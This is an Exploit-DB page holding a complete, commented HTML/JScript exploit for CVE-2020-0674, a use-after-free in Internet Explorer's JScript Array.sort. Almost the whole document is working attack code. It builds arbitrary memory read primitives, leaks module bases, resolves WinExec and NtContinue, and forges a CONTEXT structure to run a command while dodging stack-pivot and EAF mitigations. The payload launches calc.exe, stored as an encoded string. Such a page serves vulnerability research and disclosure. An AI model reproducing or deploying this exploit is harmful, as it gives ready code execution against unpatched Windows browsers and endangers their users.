Microsoft Internet Explorer 11 - Use-After-Free

EDB-ID:

49062


Author:

maxpl0it

Type:

local


Platform:

Windows

Date:

2020-11-17


# Exploit Title: Microsoft Internet Explorer 11 - Use-After-Free
# Date: 2020-05-07
# Exploit Author: maxpl0it
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Version: IE 8, 9, 10, and 11
# Tested on: Windows 7 (x64)
# CVE : CVE-2020-0674
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
        <script language="JScript.Compact">
// -------------------------------------------------------------------------------------------------
//
// Credits:
//    maxpl0it (@maxpl0it) - Writing the exploit
//    Qihoo 360 - Identifying the vulnerability in the wild
//
//
// Vulnerability: Use-After-Free when Array.sort() is called with a comparator function. The two
//                arguments are untracked by the garbage collector.
//
// Exploit Description: This exploit was written for 64-bit IE instances.
//                      However, Enhanced Protected Mode sandboxing could be enabled for IE 10
//                      and IE 11 because EPM on Windows 7 simply enables x64 and doesn't do
//                      much else.
//                      The exploit executes C:\Windows\System32\calc.exe but doesn't implement
//                      any form of process continuation after execution.
//
// Testing:
//    OS tested on: Windows 7
//    IE versions tested on:
//           8 (x64 version)
//           9 (x64 version)
//           10 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//           11 (Either the TabProcGrowth registry key set or Enhanced Protected Mode enabled to use x64)
//
// Further notes:
//     Video at https://twitter.com/maxpl0it/status/1253396942048104448
//
//     The debug is better viewed in the console. Open Developer Tools and enable debug below.
//
//     This is the non-EMET-bypassing version and only handles the stack pivot check and EAF.
//
//     If you receive the error "Couldn't rewrite variable", verify that this is 64-bit IE and not a
//     32-bit process (iexplorer.exe and not iexplorer.exe *32)
//
// ------------------------------------------------------------------------------------------------------


// write_debug: Used to show debugging output.
function write_debug(str_to_write) {
    if(debug) { // Switch is below
        try{
            console.log(str_to_write); // In IE, console only works if devtools is open.
        } catch(e) {
            try {
                alert(str_to_write); // A lot of popups but provides information.
            } catch(e) {
                // Otherwise, nothing.
            }
        }
    }
}


// Globals
var depth; // Used to track the depth of the recursion for the exploit function.
var spray; // Used to spray objects and fill GcBlocks.
var overlay; // Used to hold objects that will eventually contain properties that will reallocate freed GcBlocks.
var overlay_backup; // Used to make sure that the overlay objects still have a reference after the exploit is done. Otherwise they would be freed and reallocated.
var variants; // A string that contains a bunch of fake VAR structures. This is the property name that will cause the freed GcBlock to be reallocated.
var total; // Used to hold the untracked variable pointers for the use-after-free.
var leak_lower; // Holds the least significant DWORD of the 'next VVAL' pointer leak.
var leak_offset; // Since we don't want to free all overlay variables, this value will be used to identify which property we have got a pointer for so only this will be freed and reallocated later.
var leak_verify_var; // Used to verify that the rewrite worked. If the overlay cannot be freed and reallocated, then the exploit will not work.
var fakeobj_var; // Points at the property name string in the final VVAL. When the property name changes, a fake VAR is constructed in the name string and will change this fakeobj_var's type and object pointer values.
var trigger_obj; // Will contain the fake object and vftable.
var context; // Will store the context structure for NtContinue.
var padding = "AAAAAAAAAAA"; // Padding aligns so that the property with the manipulated hash will end up on top of an untracked var.
var leak = "\u0005"; // This manipulates the hash of the VVAL.
var leaked_var = "A"; // The final object property name. Needs to be created so that the 'next VVAL' pointer of the manipulated hash VVAL is filled.
var spray_size = 20000; // The size of the spray array.
var overlay_size = 20000; // The size of the overlay array.
var pad_size = 3000; // The size of padding for the trigger object. This padding adds additional space for functions like WinExec() to add their stack frames and the stack frames of the functions they call.
var sort = new Array(); // The array to be sorted with the vulnerable function.
var lfh = new Array(); // An array used to trigger lfh.
var debug = false; // Whether write_debug will do anything.
var command = "\u3a43\u575c\u6e69\u6f64\u7377\u535c\u7379\u6574\u336d\u5c32\u6163\u636c\u652e\u6578"; // The command to be executed. In this case it's "C:\Windows\System32\calc.exe"


// Setup - fills the sort array with arrays to be sorted. Done first to avoid the stack setup getting messed up.
for(i = 0; i < 310; i++) sort[i] = [0, 0];


// lfh_trigger: Used to trigger LFH for a particular size.
function lfh_trigger() {
    for(i = 0; i < 50; i++) {
        tmp = new Object();
        tmp[Array(570).join('A')] = 1;
        lfh.push(tmp);
    }
}


// reset: Resets the objects used in the function initial_exploit so it could be used again.
function reset() {
    depth = 0;
    spray = new Array();
    overlay = new Array();
    total = new Array();
    for(i = 0; i < overlay_size; i++) overlay[i] = new Object(); // Overlay must happen before spray
    for(i = 0; i < spray_size; i++) spray[i] = new Object();
    CollectGarbage();
}


// make_variant: Creates a fake VAR in a string.
function make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) {
    var charCodes = new Array();
    charCodes.push(
         // type
        type, 0, 0, 0,

         // obj_ptr
        obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff,

        // next_ptr
        next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff
        );
    return String.fromCharCode.apply(null, charCodes);
}


// set_variants: A wrapper for make_variant that allocates and pads the property names to align the fake VARs correctly in memory.
function set_variants(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) {
    variants = "AAAAAAAA";
    for(i=0; i < 46; i++) {
        variants += make_variant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper);
    }
    variants += "AAAAAAAAA";
}


// initial_exploit: The main exploit function.
function initial_exploit(untracked_1, untracked_2) {
    untracked_1 = spray[depth*2];
    untracked_2 = spray[depth*2 + 1];
    if(depth > 150) {
        spray = new Array(); // Erase spray
        CollectGarbage(); // Add to free
        for(i = 0; i < overlay_size; i++) {
            overlay[i][variants] = 1;
            overlay[i][padding] = 1;
            overlay[i][leak] = 1;
            overlay[i][leaked_var] = i; // Used to identify which leak is being used
        }
        total.push(untracked_1);
        total.push(untracked_2);
        return 0;
    }
    // Set pointers
    depth += 1;
    sort[depth].sort(initial_exploit);
    total.push(untracked_1);
    total.push(untracked_2);
    return 0;
}


// rewrite: Frees the correct overlay object and reallocate over it as to replace the object at the leaked 'next property' pointer.
function rewrite(v, i){
    CollectGarbage(); // Get rid of anything lingering that might screw up the exploit
    overlay_backup[leak_offset] = null; // Erase the object to be replaced
    CollectGarbage(); // Clear leak
    overlay_backup[leak_offset] = new Object(); // New object - Might end up in the same slot as the last object
    overlay_backup[leak_offset][variants] = 1; // Re-allocate the newly freed location (Take up the original GcBlock location again)
    overlay_backup[leak_offset][padding] = 1; // Add padding to align the hash with the type to leak the 'next property' pointer
    overlay_backup[leak_offset][leak] = 1; // The hash-manipulating property
    overlay_backup[leak_offset][v] = i; // sets the property name and the initial VAR
}


// read_pointer: Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive.
function read_pointer(addr_lower, addr_higher, o) {
    rewrite(make_variant(8, addr_lower, addr_higher), o);
}


// read_byte: Reads the byte at the address using the length of the BSTR.
function read_byte(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly.
    return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte.
}


// read_word: Reads the WORD (2 bytes) at the specified address.
function read_word(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o);
    return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
}


// read_dword: Reads the DWORD (4 bytes) at the specified address.
function read_dword(addr_lower, addr_higher, o) {
    read_pointer(addr_lower + 2, addr_higher, o);
    lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    read_pointer(addr_lower + 4, addr_higher, o);
    upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    return lower + (upper << 16);
}


// read_qword: Reads the QWORD (8 bytes) at the specified address.
function read_qword(addr_lower, addr_higher, o) {
    // Lower
    read_pointer(addr_lower + 2, addr_higher, o);
    lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    read_pointer(addr_lower + 4, addr_higher, o);
    lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);

    // Upper
    read_pointer(addr_lower + 6, addr_higher, o);
    upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    read_pointer(addr_lower + 8, addr_higher, o);
    upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
    return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)};
}


// test_read: Used to test whether the arbitrary read works. leak_lower + 64 points to the fakeobj_var location (property name string). The byte at this address is therefore expected to be 8 (String VAR type).
function test_read() {
    if(read_byte(leak_lower + 64) != 8) {
        throw Error("Arbitrary read failed.");
    }
}


// test_fakeobj: Used to test whether fakeoj_var responds as expected when the type and value is changed.
function test_fakeobj() {
    rewrite(make_variant(3, 23));
    if(fakeobj_var + "" != 23) { // Turning it to a string causes the conversion to copy, dereferencing the 0x80 type. Type 0x80 being used directly won't work.
        throw Error("Couldn't re-write fakeobj variable");
    }
}


// test_rewrite: Used to test whether the VAR in the VVAL leaked address changes as expected.
function test_rewrite() {
    rewrite(leaked_var, 23);
    if(leak_verify_var + "" != 23) {
        throw Error("Couldn't re-write variable");
    }
}


// addrof: The 'address-of' primitive. Changes the VAR at the start of the VVAL to point to a given object and changes the fakeobj_var string to point to the object pointer of this VAR, thus allowing the address to be read.
function addrof(o) {
    var_addr = read_dword(leak_lower + 8, 0, o); // Dereference the first VAR
    return read_dword(var_addr + 8, 0, 1); // Get the Object pointer of the second VAR
}


// find_module_base: Finds the base of a module from a leaked pointer. Works by zeroing the least significant 16 bits of the address and subtracting 0x10000 until the DOS stub code is found at a specified offset.
function find_module_base(ptr) {
    ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point
    while(true) {
        if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This'
            write_debug("[+] Found module base!");
            ptr.lower -= 0x4e; // Subtract the offset to get the base
            return ptr;
        }
        ptr.lower -= 0x10000;
    }
}


// leak_jscript_base: Gets the base of the jscript module by creating a new object, following the object pointers until the vftable is found, and then using the vftable leak to identify the base of jscript.dll.
function leak_jscript_base() {
    // Create an object to leak vftable
    obj = new Object();

    // Get address of the object pointer
    obj_ptr_addr = addrof(obj);
    write_debug("[+] Object ptr at 0x" + obj_ptr_addr.toString(16));

    // Get address of the vftable
    vftable_addr = read_qword(obj_ptr_addr, 0, 1);
    write_debug("[+] Vftable at upper 0x" + vftable_addr.upper.toString(16) + " and lower 0x" + vftable_addr.lower.toString(16));

    return find_module_base(vftable_addr);
}


// leak_var: Executes the main exploit function in order to leak a 'next property' pointer. 
function leak_var() {
    reset();
    variants = Array(570).join('A'); // Create the variants
    sort[depth].sort(initial_exploit); // Exploit
    overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer
    leak_lower = undefined;
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number" && total[i] % 1 != 0) {
            leak_lower = (total[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number
            break;
        }
    }
}


// get_rewrite_offset: Executes the main exploit function again in order to create a number of fake VARs that point to the leaked location. This means that the object pointer can be read and the exact offset of the leaked property in the overlay array can be identified.
function get_rewrite_offset() {
    reset();
    set_variants(0x80, leak_lower);  // Find the number of the object
    sort[depth].sort(initial_exploit); // Exploit
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number") {
            leak_offset = parseInt(total[i] + "");
            leak_verify_var = total[i];
            break;
        }
    }
}


// get_fakeobj: Identifies the fakeobj_var.
function get_fakeobj() {
    rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant
    reset();
    set_variants(0x80, leak_lower + 64);  // Create a fake VAR pointing to the name of the property
    sort[depth].sort(initial_exploit); // Exploit
    for(i = 0; i < total.length; i++) {
        if(typeof total[i] === "number") {
            if(total[i] + "" == 1234) {
                fakeobj_var = total[i];
                break;
            }
        }
    }
}


// leak_module: Used to leak a pointer for a given module that is imported by another module by traversing the PE structure in-memory.
function leak_module(base, target_name_lower, target_name_upper) {
    // Get IMAGE_NT_HEADERS pointer
    module_lower = base.lower + 0x3c; // PE Header offset location
    module_upper = base.upper;
    file_addr = read_dword(module_lower, module_upper, 1);
    write_debug("[+] PE Header offset = 0x" + file_addr.toString(16));

    // Get imports
    module_lower = base.lower + file_addr + 0x90; // Import Directory offset location
    import_dir = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Import offset = 0x" + import_dir.toString(16));

    // Get import size
    module_lower = base.lower + file_addr + 0x94; // Import Directory offset location
    import_size = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Size of imports = 0x" + import_size.toString(16));

    // Find module
    module_lower = base.lower + import_dir;
    while(import_size != 0) {
        name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer
        if(name_ptr == 0) {
            throw Error("Couldn't find the target module name");
        }
        name_lower = read_dword(base.lower + name_ptr, base.upper);
        name_upper = read_dword(base.lower + name_ptr + 4, base.upper);
        if(name_lower == target_name_lower && name_upper == target_name_upper) {
            write_debug("[+] Found the module! Leaking a random module pointer...");
            iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table
            leaked_address = read_qword(base.lower + iat + 8, base.upper); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
            write_debug("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16));
            return leaked_address;
        }
        import_size -= 0x14; // The size of each entry
        module_lower += 0x14; // Increase entry pointer
    }
}


// leak_export: Finds the location of a given exported function in a module. Works using binary search in order to speed it up. Assumes that the export name order is alphabetical.
function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) {
    // Get IMAGE_NT_HEADERS pointer
    module_lower = base.lower + 0x3c; // PE Header offset location
    module_upper = base.upper;
    file_addr = read_dword(module_lower, module_upper, 1);
    write_debug("[+] PE Header offset at 0x" + file_addr.toString(16));

    // Get exports
    module_lower = base.lower + file_addr + 0x88; // Export Directory offset location
    export_dir = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export offset at 0x" + import_dir.toString(16));

    // Get the number of exports
    module_lower = base.lower + export_dir + 0x14; // Number of items offset
    export_num = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export count is " + export_num);

    // Get the address offset
    module_lower = base.lower + export_dir + 0x1c; // Address offset
    addresses = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export address offset at 0x" + addresses.toString(16));

    // Get the names offset
    module_lower = base.lower + export_dir + 0x20; // Names offset
    names = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export names offset at 0x" + names.toString(16));

    // Get the ordinals offset
    module_lower = base.lower + export_dir + 0x24; // Ordinals offset
    ordinals = read_dword(module_lower, module_upper, 1);
    write_debug("[+] Export ordinals offset at 0x" + ordinals.toString(16));

    // Binary search because linear search is too slow
    upper_limit = export_num; // Largest number in search space
    lower_limit = 0; // Smallest number in search space
    num_pointer = Math.floor(export_num/2);
    module_lower = base.lower + names;
    search_complete = false;

    while(!search_complete) {
        module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset
        function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string
        module_lower = base.lower + function_str_offset; // Point to the string
        function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string
        res = compare_nums(target_name_first, function_str_lower);
        if(!res && target_name_second) {
            function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string
            res = compare_nums(target_name_second, function_str_second);
            if(!res && target_name_third) {
                function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string
                res = compare_nums(target_name_third, function_str_third);
                if(!res && target_name_fourth) {
                    function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string
                    res = compare_nums(target_name_fourth, function_str_fourth);
                }
            }
        }
        if(!res) { // equal
            module_lower = base.lower + ordinals + 2*num_pointer;
            ordinal = read_word(module_lower, module_upper, 0);
            module_lower = base.lower + addresses + 4*ordinal;
            function_offset = read_dword(module_lower, module_upper, 0);
            write_debug("[+] Found target export at offset 0x" + function_offset.toString(16));
            return {'lower': base.lower + function_offset, 'upper': base.upper};
        } if(res == 1) {
            if(upper_limit == num_pointer) {
                throw Error("Failed to find the target export.");
            }
            upper_limit = num_pointer;
            num_pointer = Math.floor((num_pointer + lower_limit) / 2);
        } else {
            if(lower_limit == num_pointer) {
                throw Error("Failed to find the target export.");
            }
            lower_limit = num_pointer;
            num_pointer = Math.floor((num_pointer + upper_limit) / 2);
        }
        if(num_pointer == upper_limit && num_pointer == lower_limit) {
            throw Error("Failed to find the target export.");
        }
    }
    throw Error("Failed to find matching export.");
}


// compare_nums: Compares two numbers that represent 4-byte strings for equality. If not, it detects which character is larger or smaller.
function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater
    write_debug("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16));
    if(target == current) {
        write_debug("[+] Equal!");
        return 0;
    }
    while(target != 0 && current != 0) {
        if((target & 0xff) > (current & 0xff)) {
            return -1;
        } else if((target & 0xff) < (current & 0xff)) {
            return 1;
        }
        target = target >> 8;
        current = current >> 8;
    }
}


// generate_gadget_string: Takes a gadget address and creates a string from it.
function generate_gadget_string(gadget) {
    return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]);
}


// generate_obj_vftable: Creates a fake object with a fake vftable containing a few ROP gadgets.
function generate_obj_vftable(initial_jmp) {
    trigger_obj = Array(pad_size + 1).join('A'); // Adds lots of stack space to either side to prevent msvcrt.dll crashing
    trigger_obj = trigger_obj + Array(157).join('A') + generate_gadget_string(initial_jmp);
    trigger_obj = trigger_obj.substr(0, trigger_obj.length);
    trigger_addr = string_addr(trigger_obj);
    write_debug("[+] Trigger object at 0x" + trigger_addr.upper.toString(16) + " 0x" + trigger_addr.lower.toString(16));
    return trigger_addr;
}


// generate_context: Creates a partial fake CONTEXT structure to use with NtContinue. P1Home and P2Home are missing because this structure is a part of the fake object. This means that no stack pivot is needed for execution of this exploit. The leaked stack pointer is also used to protect against stack pivot detection.
function generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export) {
    return "\u0000\u0000\u0000\u0000" + // P3Home
    "\u0000\u0000\u0000\u0000" + // P4Home
    "\u0000\u0000\u0000\u0000" + // P5Home
    "\u0000\u0000\u0000\u0000" + // P6Home
    "\u0003\u0010" + // ContextFlags
    "\u0000\u0000" + // MxCsr
    "\u0033" + // SegCs
    "\u0000" + // SegDs
    "\u0000" + // SegEs
    "\u0000" + // SegFs
    "\u0000" + // SegGs
    "\u002b" + // SegSs
    "\u0246\u0000" + // EFlags
    "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too!
    "\u0000\u0000\u0000\u0000" + // Dr1
    "\u0000\u0000\u0000\u0000" + // Dr2
    "\u0000\u0000\u0000\u0000" + // Dr3
    "\u0000\u0000\u0000\u0000" + // Dr6
    "\u0000\u0000\u0000\u0000" + // Dr7
    "\u0000\u0000\u0000\u0000" + // Rax
    generate_gadget_string(command_address) + // Rcx - Command pointer
    "\u0000\u0000\u0000\u0000" + // Rdx - SW_HIDE
    "\u0000\u0000\u0000\u0000" + // Rbx
    generate_gadget_string(leaked_stack_ptr) + // Rsp - Leaked Stack pointer
    "\u0000\u0000\u0000\u0000" + // Rbp
    "\u0000\u0000\u0000\u0000" + // Rsi
    "\u0000\u0000\u0000\u0000" + // Rdi
    "\u0040\u0000\u0000\u0000" + // R8
    "\u0000\u0000\u0000\u0000" + // R9
    "\u0000\u0000\u0000\u0000" + // R10
    "\u0000\u0000\u0000\u0000" + // R11
    "\u0000\u0000\u0000\u0000" + // R12
    "\u0000\u0000\u0000\u0000" + // R13
    "\u0000\u0000\u0000\u0000" + // R14
    "\u0000\u0000\u0000\u0000" + // R15
    generate_gadget_string(kernel32_winexec_export); // Rip - WinExec() call
}


// trigger_exec: Triggers code execution by creating a fake VAR of type 0x81, setting it's vftable to the payload, and causing execution by using typeof.
function trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export) {
    rewrite(make_variant(0x81, leak_lower + 96, 0) + make_variant(0, obj_addr.lower + 2 * (pad_size), 0) + generate_context(command_address, leaked_stack_ptr, kernel32_winexec_export));
    write_debug("[*] About to trigger...");
    typeof fakeobj_var;
}


// leak_stack_ptr: Leaks a stack pointer in order to avoid stack pivot detection in the CONTEXT structure.
function leak_stack_ptr() {
    leak_obj = new Object(); // Create an object
    obj_addr = addrof(leak_obj); // Get address
    csession_addr = read_dword(obj_addr + 24, 0, 1); // Get CSession from offset 24
    stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80
    stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84
    return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}


// string_addr: Gets the address of a string in an object that can be used in a chain.
function string_addr(string_to_get) {
    return {'lower': addrof(string_to_get), 'upper': 0};
}


// main: The entire exploit.
function main(){
    // Setup functions
    lfh_trigger(); // Trigger LFH - May or may not make the exploit more reliable, but can't hurt

    // Leak VAR
    leak_var();

    // Identify offset for reliable rewrite
    get_rewrite_offset();

    // Test rewrite
    test_rewrite();

    // Create a fake VAR
    get_fakeobj();

    // Test fakeobj rewrite
    test_fakeobj();

    // Output results so far
    write_debug("[+] Leaked address 0x" + leak_lower.toString(16) + " is at offset " + leak_offset);

    // Test read
    test_read();

    // Get the module base for jscript
    jscript_base = leak_jscript_base();

    // Get the msvcrt base by following the jscript import table
    mscvcrt_leak = leak_module(jscript_base, 0x6376736d, 0x642e7472);
    msvcrt_base = find_module_base(mscvcrt_leak);
    write_debug("[+] Found msvcrt base at 0x" + msvcrt_base.upper.toString(16) + " 0x" + msvcrt_base.lower.toString(16));

    // Get the ntdll base by following the msvcrt import table
    ntdll_leak = leak_module(msvcrt_base, 0x6c64746e, 0x6c642e6c);
    ntdll_base = find_module_base(ntdll_leak);
    write_debug("[+] Found ntdll at 0x" + ntdll_base.upper.toString(16) + " 0x" + ntdll_base.lower.toString(16));

    // Get the kernel32 base by following the jscript import table
    kernel32_leak = leak_module(jscript_base, 0x4e52454b, 0x32334c45);
    kernel32_base = find_module_base(kernel32_leak);
    write_debug("[+] Found kernel32 at 0x" + kernel32_base.upper.toString(16) + " 0x" + kernel32_base.lower.toString(16));

    // Find the WinExec function address from kernel32
    kernel32_winexec_export = leak_export(kernel32_base, 0x456e6957, 0, 0, 0);
    write_debug("[+] Found WinExec at 0x" + kernel32_winexec_export.upper.toString(16) + " 0x" + kernel32_winexec_export.lower.toString(16));

    // Find the NtContinue function address from ntdll
    ntdll_ntcontinue_export = leak_export(ntdll_base, 0x6f43744e, 0x6e69746e, 0, 0);
    write_debug("[+] Found NtContinue at 0x" + ntdll_ntcontinue_export.upper.toString(16) + " 0x" + ntdll_ntcontinue_export.lower.toString(16));

    // Get the address of the command to be executed
    command_address = string_addr(command);

    // Leak the stack pointer
    leaked_stack_ptr = leak_stack_ptr();

    // Create fake object and vftable
    obj_addr = generate_obj_vftable(ntdll_ntcontinue_export);

    // Generate context and trigger code execution
    trigger_exec(obj_addr, command_address, leaked_stack_ptr, kernel32_winexec_export);
}


// Call main()
main();
        </script>
    </head>
</html>